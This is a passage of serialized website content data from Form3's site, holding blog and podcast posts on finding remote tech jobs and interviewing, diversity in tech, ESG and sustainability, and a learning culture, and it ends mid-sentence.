Remotely",[42134],{"start":398,"end":2477,"type":489,"data":42135},{"link_type":491,"url":42136},"https:\u002F\u002Fweworkremotely.com\u002F",{"type":1151,"text":42138,"spans":42139},"Wellfound (formerly AngelList)",[42140],{"start":398,"end":3041,"type":489,"data":42141},{"link_type":491,"url":42142},"https:\u002F\u002Fangel.co\u002F",{"type":1151,"text":42144,"spans":42145},"Remotive",[42146],{"start":398,"end":1633,"type":489,"data":42147},{"link_type":491,"url":42148},"https:\u002F\u002Fremotive.com\u002F",{"type":1151,"text":42150,"spans":42151},"Otta",[42152],{"start":398,"end":4603,"type":489,"data":42153},{"link_type":491,"url":42154},"https:\u002F\u002Fotta.com\u002F",{"type":25,"text":42156,"spans":42157},"You can also check Slack channels related to the languages you're interested in. For example, if you're interested in Go opportunities you can check the Gophers Slack.",[42158],{"start":9277,"end":9156,"type":489,"data":42159},{"link_type":491,"url":42160},"https:\u002F\u002Fgophers.slack.com\u002Fmessages\u002Fgeneral\u002F","rich_text$51831f66-ceee-4645-91fa-7deca0af01bf",{"variation":437,"version":438,"items":42163,"primary":42164,"id":42184,"slice_type":468,"slice_label":5},[],{"body":42165},[42166,42169,42172,42175,42178,42181],{"type":746,"text":42167,"spans":42168},"Are there any red flags we should watch out for?",[],{"type":25,"text":42170,"spans":42171},"Once you find an opportunity that you're interested in, Alexandra shares some red flags or concerns you should watch out for. Make sure that you ask the talent recruiter or hiring manager questions about:",[],{"type":1151,"text":42173,"spans":42174},"Their remote working policy, ensuring that the working arrangement is a good fit for you.",[],{"type":1151,"text":42176,"spans":42177},"Where most of the colleagues are based and how the company keeps colleagues engaged in the remote world.",[],{"type":1151,"text":42179,"spans":42180},"How do teams collaborate and what the working hours are.",[],{"type":25,"text":42182,"spans":42183},"The red flags would be in the answers to those questions, which could be vague or unsatisfactory. It's important to ask these questions early on to ensure that you don't waste your time on an opportunity that isn't a good fit. Alexandra underlines that in the remote world, the company culture and working practices are extremely important, so ensure that you receive satisfactory answers for your questions.",[],"rich_text$c5be76a8-6e24-436f-8eb0-bfa8fc6bce87",{"variation":437,"version":438,"items":42186,"primary":42187,"id":42216,"slice_type":468,"slice_label":5},[],{"body":42188},[42189,42192,42195,42198,42201,42210],{"type":746,"text":42190,"spans":42191},"How much salary should we ask for?",[],{"type":25,"text":42193,"spans":42194},"In the remote world, salary banding becomes tricky. Alexandra shares that there is no set rule in a how a company sets salaries for remote roles. Typically, they set salaries in two ways:",[],{"type":1151,"text":42196,"spans":42197},"By employee location, meaning where you are based.",[],{"type":1151,"text":42199,"spans":42200},"By company location, meaning where the company is based.",[],{"type":25,"text":42202,"spans":42203},"In either case, Alexandra recommends to research before salary negotiation. You can use Glassdoor or PayScale to get a good idea what your salary should be for the location and job you are applying for. You should be confident in what you're worth and don't be afraid to ask for the salary that you think you should receive. Once you know what your salary expectations are, you should communicate them clearly and early in the process. This will help you avoid disappointment and wasted efforts during the interview process.",[42204,42207],{"start":3290,"end":4084,"type":489,"data":42205},{"link_type":491,"url":42206},"https:\u002F\u002Fwww.glassdoor.co.uk\u002Findex.htm",{"start":1481,"end":12974,"type":489,"data":42208},{"link_type":491,"url":42209},"https:\u002F\u002Fwww.payscale.com\u002Ffor-individuals\u002F",{"type":25,"text":42211,"spans":42212},"Remember to consider all aspects of your benefits package, not just your salary amount. Companies stay competitive by adjust benefits, as well as pay. Alexandra shares the LinkedIn Global Talent trends survey which concluded that remote working was the number one benefit that candidates look for from their employer, trumping basic salary.",[42213],{"start":15361,"end":9292,"type":489,"data":42214},{"link_type":491,"url":42215},"https:\u002F\u002Fbusiness.linkedin.com\u002Ftalent-solutions\u002Fglobal-talent-trends","rich_text$10aae530-864e-4960-ab8e-e5be22d30c21",{"variation":437,"version":438,"items":42218,"primary":42219,"id":42254,"slice_type":468,"slice_label":5},[],{"body":42220},[42221,42224,42227,42231,42235,42239,42243,42247,42251],{"type":746,"text":42222,"spans":42223},"What can engineers do to stand out during the interview process?",[],{"type":25,"text":42225,"spans":42226},"Alexandra has vast experience with this and can share some top tips:",[],{"type":1151,"text":42228,"spans":42229},"Include the most important keywords: sprinkle methodologies and technologies that you have experience using, which will make it easy to match your profile against the job specification.",[42230],{"start":398,"end":628,"type":593},{"type":1151,"text":42232,"spans":42233},"Make it easy to read: make sure that your CV is well structured and that the most important information is available on the first page. Keep your text short and concise, covering the most important points only.",[42234],{"start":398,"end":7460,"type":593},{"type":1151,"text":42236,"spans":42237},"Highlight your accomplishments: focus on sharing the impact you've made in your previous roles. CVs are no time to be modest, so make sure that you shout about your biggest wins and achievements.",[42238],{"start":398,"end":3041,"type":593},{"type":1151,"text":42240,"spans":42241},"Tailor it to the job: make sure that your CV highlights relevant keywords according to what the the job spec looks for. This will allow you to mention the relevant keywords and highlight as many experiences that are relevant to the job as possible.",[42242],{"start":398,"end":7460,"type":593},{"type":1151,"text":42244,"spans":42245},"Create a strong LinkedIn profile: recruiters will look you up on LinkedIn, even if you don't mention it on your CV. Keep it updated, just like your CV",[42246],{"start":398,"end":5489,"type":593},{"type":1151,"text":42248,"spans":42249},"Mention where you're based: add your location and contact details to your CV, even if you're applying for a remote role.",[42250],{"start":398,"end":5574,"type":593},{"type":25,"text":42252,"spans":42253},"In the case that you want to transition to a role that doesn't match your previous experience, make sure that you connect the dots for the recruiters by highlighting your transferable skills. For example, if you are looking to transition from a Java role to a Go role you could highlight your experience working with microservice architectures. Tools and technologies can be taught and learned, so make your transferable skills obvious to the recruitment team.",[],"rich_text$c1b40669-f873-4b65-97b2-1c0964362627",{"variation":437,"version":438,"items":42256,"primary":42257,"id":42277,"slice_type":468,"slice_label":5},[],{"body":42258},[42259,42262,42265,42268,42271],{"type":746,"text":42260,"spans":42261},"How can we prepare for a remote interview?",[],{"type":25,"text":42263,"spans":42264},"Alexandra shares that the preparation for a remote interview is no different from the onsite interview. You only have one chance to make a great first impression. You should definitely prepare and think through how you will present yourself and your experience.",[],{"type":25,"text":42266,"spans":42267},"In practical terms, you should also consider the logistics. Make sure you are in a quiet place, with reliable WiFi and that your equipment is working. You can also double check the video link and ensure that you can dial into the interview. Finally, during the interview, make sure you highlight your remote working experience and how you keep engaged.",[],{"type":25,"text":42269,"spans":42270},"As with everything we do, practice will help, especially if you are a nervous interviewee. You can practice with a friend, record and watch it back to see how you're coming across. However, you should always be yourself in interviews.",[],{"type":25,"text":42272,"spans":42273},"If you're serious about interviewing and have many scheduled calls, you can create yourself a Calendly account to keep track of your scheduling and ensure you are pacing yourself. You can also create a spreadsheet for tracking your applications.",[42274],{"start":6779,"end":4176,"type":489,"data":42275},{"link_type":491,"url":42276},"https:\u002F\u002Fcalendly.com\u002F","rich_text$b18fe2ff-1ad7-4257-8cf3-060f1357ee38",{"variation":437,"version":438,"items":42279,"primary":42280,"id":42306,"slice_type":468,"slice_label":5},[],{"body":42281},[42282,42285,42288,42291,42295,42299,42303],{"type":746,"text":42283,"spans":42284},"What is Form3's approach to the interview process?",[],{"type":25,"text":42286,"spans":42287},"Finally, Alexandra shares what Form3's recruitment approach is. The interview process is designed to be fair, transparent and accesible. The goal is to allow engineers from any background to apply for a role. Each stage is aimed to replicate the day to day problems that our engineers solve, so the interview does not include algorithmic style questions.",[],{"type":25,"text":42289,"spans":42290},"The Form3 interview process consists of three stages:",[],{"type":3373,"text":42292,"spans":42293},"A call with the Talent team: this step is an important part of the process that aims to evaluate a candidate's technical skills, cultural fit and communication style. It gives us an indication of a candidate's strengths, weaknesses and enthusiasm for the role. It also gives the candidate the opportunity to ask questions and learn more about Form3.",[42294],{"start":398,"end":3485,"type":593},{"type":3373,"text":42296,"spans":42297},"Technical exercise: this step is a simplified version of what engineers at Form3 work on. The solution provided by the candidate is evaluated by the engineering team for readability, reliability and maintainability. There are no time constraints for the exercise, giving the candidates the space to deliver something they are proud of.",[42298],{"start":398,"end":2769,"type":593},{"type":3373,"text":42300,"spans":42301},"Technical interview: this is a 90-minute long interview divided into three parts run by members of the engineering and security team. The substages are: code review of the technical exercise, technical knowledge assessment and a debugging exercise.",[42302],{"start":398,"end":6262,"type":593},{"type":25,"text":42304,"spans":42305},"The interview process does not include a live coding task in order make it easier for people to fit the interview process in their busy lives.",[],"rich_text$e76bf54e-4de4-4c41-87fe-f95ac4207485",".tech Podcast - Landing your next remote job",{"id":42309,"uid":42310,"type":25949,"data":42311},"alz1BxEAACgAUWeC","podcast-supporting-diversity",{"title":42312,"excerpt":42313,"card_image":42314,"published_date":3430,"reading_time":643,"tag":25960,"dek":42313,"featured_image":42319,"about_form3":42324,"client_about_heading":5,"client_about_body":42325,"author_name":18970,"author_title":18971,"author_photo":42326,"author_bio":42329,"author_linkedin":42332,"slices":42334,"meta_title":42312,"meta_description":42490},".tech Podcast - Supporting diversity in tech","Leah Cohen from School of SOS joins us to share her insights into how tech leaders can support diversity in tech. She tells us about what diversity in tech is and why we should care about it. Then, she explains two key solutions to improving diversity: target the next generation and support transitioning into careers in tech.",{"dimensions":42315,"alt":42312,"copyright":5,"url":42316,"id":42317,"edit":42318},{"width":412,"height":412},"\u002F_prismic-media\u002F21a57dccbd0ca5b8-zHqomRIMHCaSR2Vu_podcast-supporting-diversity.pn","zHqomRIMHCaSR2Vu",{"x":398,"y":398,"zoom":399,"background":400},{"dimensions":42320,"alt":5,"copyright":5,"url":42321,"id":42322,"edit":42323},{"width":501,"height":33951},"\u002F_prismic-media\u002Fbf7b708a562332e1-1ezUFE5H-m7xf352_7da593e3-e745-48f6-b33a-9ea2370.png","1ezUFE5H-m7xf352",{"x":398,"y":398,"zoom":399,"background":400},[],[],{"dimensions":42327,"alt":18970,"copyright":5,"url":25966,"id":25967,"edit":42328},{"width":5080,"height":5081},{"x":398,"y":398,"zoom":399,"background":650},[42330],{"type":25,"text":25971,"spans":42331},[],{"link_type":491,"key":42333,"url":25975,"target":493},"ca537a14-be9d-48d2-8361-e29db26a46eb",[42335,42355,42390,42408,42443,42463],{"variation":437,"version":527,"items":42336,"primary":42337,"id":42354,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":42338,"body":42342,"cta_label":10704,"cta_link":42345,"aside_type":5,"aside_image":42348,"aside_video":42349,"aside_video_poster":42350,"aside_video_reduced_motion":42351,"aside_video_url":5,"aside_embed":42352,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":42353,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[42339],{"type":746,"text":42340,"spans":42341},"Ep 34  .tech - Supporting diversity in tech",[],[42343],{"type":25,"text":10702,"spans":42344},[],{"link_type":491,"key":42346,"url":42347},"afb60256-5667-46c0-a47e-cff8120d2124","https:\u002F\u002Ftechpodcast.form3.tech\u002Fepisodes\u002Fep-34-tech-supporting-diversity-in-tech-wXOtIkGd",{},{"link_type":536},{},{},{},{"link_type":542},"content_block$497fa717-87b8-48a2-976b-77253c05d6fb",{"variation":437,"version":438,"items":42356,"primary":42357,"id":42389,"slice_type":468,"slice_label":5},[],{"body":42358},[42359,42362,42371,42376,42381,42386],{"type":746,"text":42360,"spans":42361},"Thoughts on tech leadership",[],{"type":25,"text":42363,"spans":42364},"Leah Cohen is Chief Technology Officer (CTO) at School of SOS. She has a background as an entrepreneur, developer and is now in charge of building the platform and leading the technical team at School of SOS.",[42365,42368],{"start":398,"end":905,"type":489,"data":42366},{"link_type":491,"url":42367},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fleahtopchik\u002F",{"start":5490,"end":3407,"type":489,"data":42369},{"link_type":491,"url":42370},"https:\u002F\u002Fwww.linkedin.com\u002Fcompany\u002Fschool-of-sos\u002F",{"type":25,"text":42372,"spans":42373},"Leah defines adaptability as the most important quality of good tech leaders. Every team has its own challenges and there is no \"one size fits all\" to leadership. As a people leader, you can rely on your experience, but adaptability will allow you to tailor your style to your team.",[42374,42375],{"start":1951,"end":1066,"type":765},{"start":1951,"end":1066,"type":593},{"type":25,"text":42377,"spans":42378},"Tech leadership isn't just about sitting at the top and making tech decisions. Good people leaders need to motivate and support their team.",[42379,42380],{"start":782,"end":8789,"type":765},{"start":782,"end":8789,"type":593},{"type":25,"text":42382,"spans":42383},"They sit between the tech team and the business, helping the tech team understand what the needs of the business are and vice versa. As a leader you need to work as a bridge between engineering and business, so they must be effective communicators as well.",[42384,42385],{"start":7594,"end":9373,"type":765},{"start":7594,"end":9373,"type":593},{"type":25,"text":42387,"spans":42388},"While often overlooked, the people aspect of startups is the key to scaling the business and the team.",[],"rich_text$6cfaf440-74d6-428b-9c3a-9286ad535727",{"variation":437,"version":438,"items":42391,"primary":42392,"id":42407,"slice_type":468,"slice_label":5},[],{"body":42393},[42394,42397,42400,42404],{"type":746,"text":42395,"spans":42396},"What is diversity?",[],{"type":25,"text":42398,"spans":42399},"Diversity is talked about a lot, so it's important to begin by defining it.",[],{"type":25,"text":42401,"spans":42402},"Leah begins discussing diversity in tech from a product perspective. Women are the dominant consumers, but men are the ones building product. You need a breadth of types of people in your team so that you can understand a variety of user perspectives and build better products that work for everyone. Diverse teams should challenge their leaders viewpoints and assumptions, rather than just agree with you. This exchange of ideas from people with different backgrounds leads to better products.",[42403],{"start":5490,"end":2397,"type":765},{"type":25,"text":42405,"spans":42406},"It is well established that tech has a diversity problem. There are a lot of misconceptions around what a tech team and tech role looks like. As Leah pointed out, being successful in tech involves a lot more personal skills than previously. The idea of someone sitting in the corner and coding by themselves is antiquated. Tech is a very collaborative field, where you have to work and communicate with other people to succeed.",[],"rich_text$9f5eba2c-f605-4e19-8878-88b55a73aed7",{"variation":437,"version":438,"items":42409,"primary":42410,"id":42442,"slice_type":468,"slice_label":5},[],{"body":42411},[42412,42415,42418,42423,42429,42432,42437],{"type":746,"text":42413,"spans":42414},"Improving diversity",[],{"type":25,"text":42416,"spans":42417},"On the other side, solving the history of the diversity problem in tech is difficult. It is daunting to enter an industry where you stick out, so the diversity problem is in a way self perpetuating. Minorities don't want to enter tech because there are no minorities in tech.",[],{"type":25,"text":42419,"spans":42420},"An obvious solution is to target the next generation. Leah is passionate about going to schools and inspire girls to consider careers in tech, whether engineering or science or any other form of tech.",[42421,42422],{"start":5574,"end":1251,"type":765},{"start":5574,"end":1251,"type":593},{"type":25,"text":42424,"spans":42425},"Traditionally, the way that tech was taught in schools was very detached from real world problems. Supporting organisations to set up and start building real products will be more fun and enticing for kids. At Form3, we support Stemettes, an organisation which inspired and supports girls who want to learn more about STEM. As engineers, we all have a responsibility to support the next generation.",[42426],{"start":25009,"end":13077,"type":489,"data":42427},{"link_type":491,"url":42428},"https:\u002F\u002Fstemettes.org\u002F",{"type":25,"text":42430,"spans":42431},"However, Leah explains that it's really tricky to influence the education system. The way that the curriculums are designed and the subjects are graded actually turns away minorities. For example, girls are traditionally brought up to be perfect, especially the millennial generation that is now in the workforce. Such a huge part of engineering is trying and failing, until you get something working. Girls are typically afraid to fail and not be perfect in front of others.",[],{"type":25,"text":42433,"spans":42434},"Another solution is to support transitioning into careers in tech. Opening up more pathways for people to change careers into tech is another way we can begin to improve diversity. Moving to tech from non-traditional backgrounds is key because it allows us to bypass the hurdles of the tech education.",[42435,42436],{"start":4023,"end":9237,"type":765},{"start":4023,"end":9237,"type":593},{"type":25,"text":42438,"spans":42439},"Tech leaders can support those who want to transition into tech by giving them different forms of assessment, whether they prefer to take their task in person or with a take home task. This will allow people to perform their best in the format they're most comfortable with.",[42440,42441],{"start":2397,"end":19534,"type":765},{"start":2397,"end":19534,"type":593},"rich_text$19607a39-a90b-4927-a6b0-d79d78d557a2",{"variation":437,"version":438,"items":42444,"primary":42445,"id":42462,"slice_type":468,"slice_label":5},[],{"body":42446},[42447,42450,42453,42459],{"type":746,"text":42448,"spans":42449},"Supporting minorities",[],{"type":25,"text":42451,"spans":42452},"Anyone that has the time and ability to create organisations that support minorities is a super star in our book.",[],{"type":25,"text":42454,"spans":42455},"Tech leaders should support these organisations in any way they can. For example, Women of Silicon Roundabout is a wonderful tech conference aimed at women.",[42456],{"start":1406,"end":12974,"type":489,"data":42457},{"link_type":491,"url":42458},"https:\u002F\u002Fwww.women-in-technology.com\u002F",{"type":25,"text":42460,"spans":42461},"Apprenticeship programs are another brilliant way to bring in juniors and start training them. Online bootcamps are also a way that people can build up their tech skills alongside their day job. Hiring people from non-traditional backgrounds where we can is a great way to support diversity.",[],"rich_text$d2c69d85-fe8c-47f4-8c70-e566ad9022dc",{"variation":437,"version":438,"items":42464,"primary":42465,"id":42489,"slice_type":468,"slice_label":5},[],{"body":42466},[42467,42470,42473,42482],{"type":746,"text":42468,"spans":42469},"Women mentoring women",[],{"type":25,"text":42471,"spans":42472},"You can feel free to reach to either of the people on this podcast if you want to learn more about getting into tech.",[],{"type":25,"text":42474,"spans":42475},"Nobody comes up where they are alone. Leah would like to thank Bonnie Lister Parsons, founder & CEO of School of SOS, as well as Jonathan Lister Parsons. They have both been huge supporters for her through this transition into being a CTO",[42476,42479],{"start":629,"end":5321,"type":489,"data":42477},{"link_type":491,"url":42478},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fbonnie-lister-parsons-74788738\u002F",{"start":15360,"end":31756,"type":489,"data":42480},{"link_type":491,"url":42481},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fjonathan-lister\u002F",{"type":25,"text":42483,"spans":42484},"Don't hesitate to get in touch with Adelina Simion, Technology Evangelist at Form3, and our super star guest, Leah Cohen.",[42485,42487],{"start":3852,"end":2971,"type":489,"data":42486},{"link_type":491,"url":25975},{"start":4176,"end":5702,"type":489,"data":42488},{"link_type":491,"url":42367},"rich_text$67a04dc0-3bd6-4b20-9843-1571f2bf7787","Leah Cohen from School of SOS joins us to share her insights into how tech leaders can support diversity in tech. She tells us about what diversity in tech is and why we should care about it. Then, she explains two key solutions to improving diversity: target the next generation and support transitioning careers into tech.",{"id":42492,"uid":24635,"type":42493,"data":42494},"alz1thEAACcAUWsk","culture_blog_post",{"title":24637,"excerpt":42495,"card_image":42496,"published_date":2629,"reading_time":2375,"tag":42499,"dek":24638,"featured_image":42500,"about_form3":42501,"client_about_heading":5,"client_about_body":42502,"author_name":5,"author_title":5,"author_photo":42503,"author_bio":42504,"author_linkedin":42505,"slices":42506,"meta_title":24637,"meta_description":24638},"ESG stands for Environment, Social and Governance, and is a set of factors used to measure a businesses’ impact on society, the environment and their transparency and accountability. It measures how a company integrates environmental, social and governance practices into operations, as well as into their business model. Sophie Manners provides insight into her journey and mission as an ESG Intern at Form3.",{"dimensions":42497,"alt":413,"copyright":5,"url":414,"id":415,"edit":42498},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"ESG",{},[],[],{},[],{"link_type":434},[42507],{"variation":437,"version":438,"items":42508,"primary":42509,"id":42537,"slice_type":468,"slice_label":5},[],{"body":42510},[42511,42513,42516,42519,42522,42525,42529,42532,42535],{"type":746,"text":24656,"spans":42512},[],{"type":25,"text":42514,"spans":42515},"ESG stands for Environment, Social and Governance, and is a set of factors used to measure a businesses’ impact on society, the environment and their transparency and accountability. It measures how a company integrates environmental, social and governance practices into operations, as well as into their business model.",[],{"type":25,"text":42517,"spans":42518},"I was first introduced to ESG whilst studying Geology and Physical Geography at University. We learnt about ESG as a strategy which could be used by companies to align themselves with the Paris Agreement’s aim of keeping global temperature rise below 2°C. During my studies, I learnt about different aspects of climate change from climate modelling to paleoclimatology and I quickly realised that it was a subject I’m passionate about. Before continuing my studies, I wanted to do an internship to see what a career in the field of climate change could look like, and to gain first-hand experience of ESG in business.",[],{"type":25,"text":24665,"spans":42520},[42521],{"start":398,"end":7460,"type":593},{"type":25,"text":42523,"spans":42524},"I’m about halfway through my internship now and feeling a lot more confident. But when I first started, I was nervous that I didn’t have all the knowledge. I’d studied climate change and sustainability, but my understanding of payment technology was limited. I was also excited as I knew that working with a company already passionate about their environmental impact but relatively early on in their journey towards sustainability meant an opportunity to make a real difference. I soon realised that this would be a collaborative project, with lots of opportunities to gain knowledge from colleagues from a range of teams.",[],{"type":25,"text":42526,"spans":42527},"My mission at Form3",[42528],{"start":398,"end":6262,"type":593},{"type":25,"text":42530,"spans":42531},"Form3 hasn’t collected a lot of data around its environmental impact to date, but encourages remote working, carbon offsetting for business travel and uses energy efficient office utilities. My first objective has been to calculate our carbon footprint and understand where we have the greatest environmental impact. Gathering data and analysing data around our environmental impact will enable us to implement strategies to reduce and offset our impact. The data I collect will include data that relates the company’s use of data centres, office space, travel, renewable energy sources, waste management, pollution, and its actions around climate change issues.",[],{"type":25,"text":42533,"spans":42534},"With this in hand, and analysis completed, I’ll be responsible for proposing the strategies we should be taking to address our impact - which I have to say, is a very exciting project for my first job in the corporate world!",[],{"type":25,"text":24682,"spans":42536},[],"rich_text$2db60922-f6e7-4de0-a38b-e38fac9e25c9",{"id":42539,"uid":12419,"type":42493,"data":42540},"alz1tBEAACsAUWsX",{"title":12421,"excerpt":42541,"card_image":42542,"published_date":12428,"reading_time":2375,"tag":42499,"dek":42545,"featured_image":42546,"about_form3":42547,"client_about_heading":5,"client_about_body":42548,"author_name":5,"author_title":5,"author_photo":42549,"author_bio":42550,"author_linkedin":42551,"slices":42552,"meta_title":12421,"meta_description":42541},"At Form3 we believe we have a responsibility to reduce our environmental impact which is why we’re working hard to ensure we develop our environmental strategy in line with available science. We’re anti-greenwashing, and so we don’t want to just appear green, we want to determine the source of our emissions and actively reduce these as much as possible.",{"dimensions":42543,"alt":413,"copyright":5,"url":414,"id":415,"edit":42544},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"At Form3 we believe we have a responsibility to reduce our environmental impact which is why we’re working hard to ensure we develop our environmental strategy in line with available science. We’re anti-greenwashing, and so we don’t want to just appear green, we want to determine the source of our emissions and actively reduce these as much as possible. We will then offset the unavoidable remaining emissions using verified carbon offsets, which means they are guaranteed to reduce\u002Fremove greenhouse emissions.A key part of being ‘anti-greenwashing’ is being open and transparent, which is why we want to share where we are on our sustainability journey.",{},[],[],{},[],{"link_type":434},[42553,42606],{"variation":437,"version":438,"items":42554,"primary":42555,"id":42605,"slice_type":468,"slice_label":5},[],{"body":42556},[42557,42559,42563,42566,42570,42573,42576,42579,42583,42585,42589,42592,42596,42599,42603],{"type":988,"text":12454,"spans":42558,"direction":445},[],{"type":25,"text":42560,"spans":42561,"direction":445},"Remote working",[42562],{"start":398,"end":2987,"type":593},{"type":25,"text":42564,"spans":42565,"direction":445},"Being 100% remote reduces our commuting emissions. According to the International Energy Agency (IEA) if everyone able to work from home globally did so for just one day a week, global CO2 emissions would decline by 24 million tonnes annually (equivalent to the bulk of Greater London's annual CO2 emissions); however, a considerable shift to working from home may have impacts elsewhere in the energy system. ",[],{"type":25,"text":42567,"spans":42568,"direction":445},"Cycle to work scheme",[42569],{"start":398,"end":7460,"type":593},{"type":25,"text":42571,"spans":42572,"direction":445},"We utilise this scheme which reduces commuting emissions for those who do still commute to our offices and generally outside of the office too and is available in different countries.",[],{"type":25,"text":12471,"spans":42574,"direction":445},[42575],{"start":398,"end":2375,"type":593},{"type":25,"text":42577,"spans":42578,"direction":445},"We ask that all employees and contractors who travel by air offset their emissions. Our policies around travel also encourage employees to favour public transport over cars, and trains over planes, even if that means that the travel costs a bit more.",[],{"type":25,"text":42580,"spans":42581,"direction":445},"Equipment",[42582],{"start":398,"end":1355,"type":593},{"type":25,"text":12482,"spans":42584,"direction":445},[],{"type":25,"text":42586,"spans":42587,"direction":445},"Office space",[42588],{"start":398,"end":2707,"type":593},{"type":25,"text":42590,"spans":42591,"direction":445},"Our London office is equipped with energy efficient products\u002Ftechnology such as motion and daylight sensors, low energy lighting, recycling waste streams and energy efficient heating and cooling.",[],{"type":25,"text":42593,"spans":42594,"direction":445},"London data centres",[42595],{"start":398,"end":6262,"type":593},{"type":25,"text":42597,"spans":42598,"direction":445},"The nature of data centres, such as running 24 hours a day, using heating and cooling methods and generally using large amounts of energy means they are bound to have high emissions, so it’s important to reduce their environmental impact where we can. Already, our data centres use 100% renewable energy as well as other sustainable tech which reduces energy consumption. As data centres have a significant environmental impact, reducing our need for data centres, and in turn the emissions from the needed data centres will be key for Form3 as we scale.",[],{"type":25,"text":42600,"spans":42601,"direction":445},"Cloud data",[42602],{"start":398,"end":905,"type":593},{"type":25,"text":12503,"spans":42604,"direction":445},[],"rich_text$a4b14bb5-dfbe-430b-9607-5543c367cb3f",{"variation":437,"version":438,"items":42607,"primary":42608,"id":42623,"slice_type":468,"slice_label":5},[],{"body":42609},[42610,42612,42614,42617,42620],{"type":988,"text":12511,"spans":42611,"direction":445},[],{"type":25,"text":12514,"spans":42613,"direction":445},[],{"type":1151,"text":42615,"spans":42616,"direction":445},"We’re currently working on calculating our carbon footprint. This is the total amount of greenhouse gases generated by our actions. An accurate carbon footprint is key in understanding our climate impact and identifying emission-reducing opportunities.",[],{"type":1151,"text":42618,"spans":42619,"direction":445},"The first step in determining our carbon footprint is collecting precise ‘activity’ data and then calculating the emissions. The next step is to have our carbon footprint externally verified, we can then confirm our carbon footprint for 2021, which will be our benchmark year. We will use this year to set science-based targets for reducing our emissions in line with becoming a net zero organisation.",[],{"type":1151,"text":42621,"spans":42622,"direction":445},"We would like to become a net zero organisation as we believe businesses play an important role in limiting global warming to 1.5°C above pre-industrial levels as per the UN Paris Agreement. Becoming a net zero organisation means we won’t be adding any extra greenhouse gases into the atmosphere. This is a long-term goal, but we’re on the right track!",[],"rich_text$f4f440bf-500f-48b7-8b40-9bbafa1207ac",{"id":42625,"uid":22130,"type":42493,"data":42626},"alz1uhEAAC0AUWs3",{"title":22132,"excerpt":42627,"card_image":42628,"published_date":22139,"reading_time":643,"tag":42560,"dek":22133,"featured_image":42631,"about_form3":42632,"client_about_heading":5,"client_about_body":42633,"author_name":5,"author_title":5,"author_photo":42634,"author_bio":42635,"author_linkedin":42636,"slices":42637,"meta_title":22132,"meta_description":22133},"At Form3 we like to think differently. Creativity and curiosity are values we celebrate, this helps to create an environment where norms can be challenged, and new ideas embraced. Kevin Crawford, Senior Learning & Development Partner at Form3, provides insight into our culture of continuous learning.",{"dimensions":42629,"alt":413,"copyright":5,"url":414,"id":415,"edit":42630},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},{},[],[],{},[],{"link_type":434},[42638],{"variation":437,"version":438,"items":42639,"primary":42640,"id":42688,"slice_type":468,"slice_label":5},[],{"body":42641},[42642,42644,42646,42648,42651,42653,42655,42658,42660,42662,42664,42666,42672,42674,42676,42678,42681,42683,42685],{"type":25,"text":22152,"spans":42643},[],{"type":25,"text":22155,"spans":42645},[],{"type":25,"text":22158,"spans":42647},[],{"type":1151,"text":42649,"spans":42650},"Create an environment that supports an open mindset.",[],{"type":1151,"text":22164,"spans":42652},[],{"type":1151,"text":22167,"spans":42654},[],{"type":25,"text":42656,"spans":42657},"So, whilst leadership example and links to strategy are of course important, we place more emphasis on the individual nature of learning. Each team member is embarking on their own career journey and will embed learning into their personal and working lives. It’s critical that each Form3 employee has the freedom to set their own development goals and has all the necessary tools & support to achieve them.",[],{"type":25,"text":22173,"spans":42659},[],{"type":1151,"text":22176,"spans":42661},[],{"type":1151,"text":22179,"spans":42663},[],{"type":1151,"text":22182,"spans":42665},[],{"type":25,"text":22185,"spans":42667},[42668,42670],{"start":1250,"end":9206,"type":489,"data":42669},{"link_type":491,"url":22189,"target":5106},{"start":11749,"end":22191,"type":489,"data":42671},{"link_type":491,"url":22193,"target":5106},{"type":25,"text":22195,"spans":42673},[],{"type":25,"text":22198,"spans":42675},[],{"type":25,"text":22201,"spans":42677},[],{"type":25,"text":42679,"spans":42680},"However, simply having the time to learn doesn’t negate the cost associated with achieving your personal, professional, or technical goals. So, to compliment Learning Days we offer a L&D Allowance – this is an annual budget that can be used to fund courses, qualifications, industry conferences, subscriptions, reading materials etc.",[],{"type":25,"text":22207,"spans":42682},[],{"type":25,"text":22210,"spans":42684},[],{"type":25,"text":42686,"spans":42687},"Happy Learning!",[],"rich_text$c446494a-428b-4b1a-aede-768094dc89f7",{"id":42690,"uid":18311,"type":42493,"data":42691},"alz1uBEAACkAUWsu",{"title":18313,"excerpt":42692,"card_image":42693,"published_date":18320,"reading_time":2375,"tag":42560,"dek":42696,"featured_image":42697,"about_form3":42698,"client_about_heading":5,"client_about_body":42699,"author_name":42700,"author_title":42701,"author_photo":42702,"author_bio":42707,"author_linkedin":42711,"slices":42714,"meta_title":18313,"meta_description":42692},"At Form3, we celebrate our remote first culture. It’s our philosophy and one of the principal factors that helped get us to where we are today.",{"dimensions":42694,"alt":413,"copyright":5,"url":414,"id":415,"edit":42695},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"Remote work has been so pivotal to our journey. It has enabled us to extend our global footprint, scale-up in a vigorous and competitive industry, increase our gender diversity, and build efficiencies for future resilience. Last September we raised a massive $160 million during our Series C funding round, and we most recently achieved the Payments Innovation of the Year award at the FStech awards 2022. We have also recently won Best Tech Employer(150 – 499 Employees) at the Women in Tech Employer Awards 2022. This just shows that remote working doesn’t have to be a barrier, but it can be the very ingredient to driving success. For us, it has been an obvious no brainer from the outset!",{},[],[],"Jessica Money","People Partner",{"dimensions":42703,"alt":42700,"copyright":5,"url":42704,"id":42705,"edit":42706},{"width":1978,"height":5081},"\u002F_prismic-media\u002F10b213e7efd474e7-XtyI_-CgPicWTfP7_253baf3d-afc0-4efe-be73-706ff85.jpeg","XtyI_-CgPicWTfP7",{"x":398,"y":398,"zoom":399,"background":650},[42708],{"type":25,"text":42709,"spans":42710},"Jessica is a People Partner at Form3, based in the 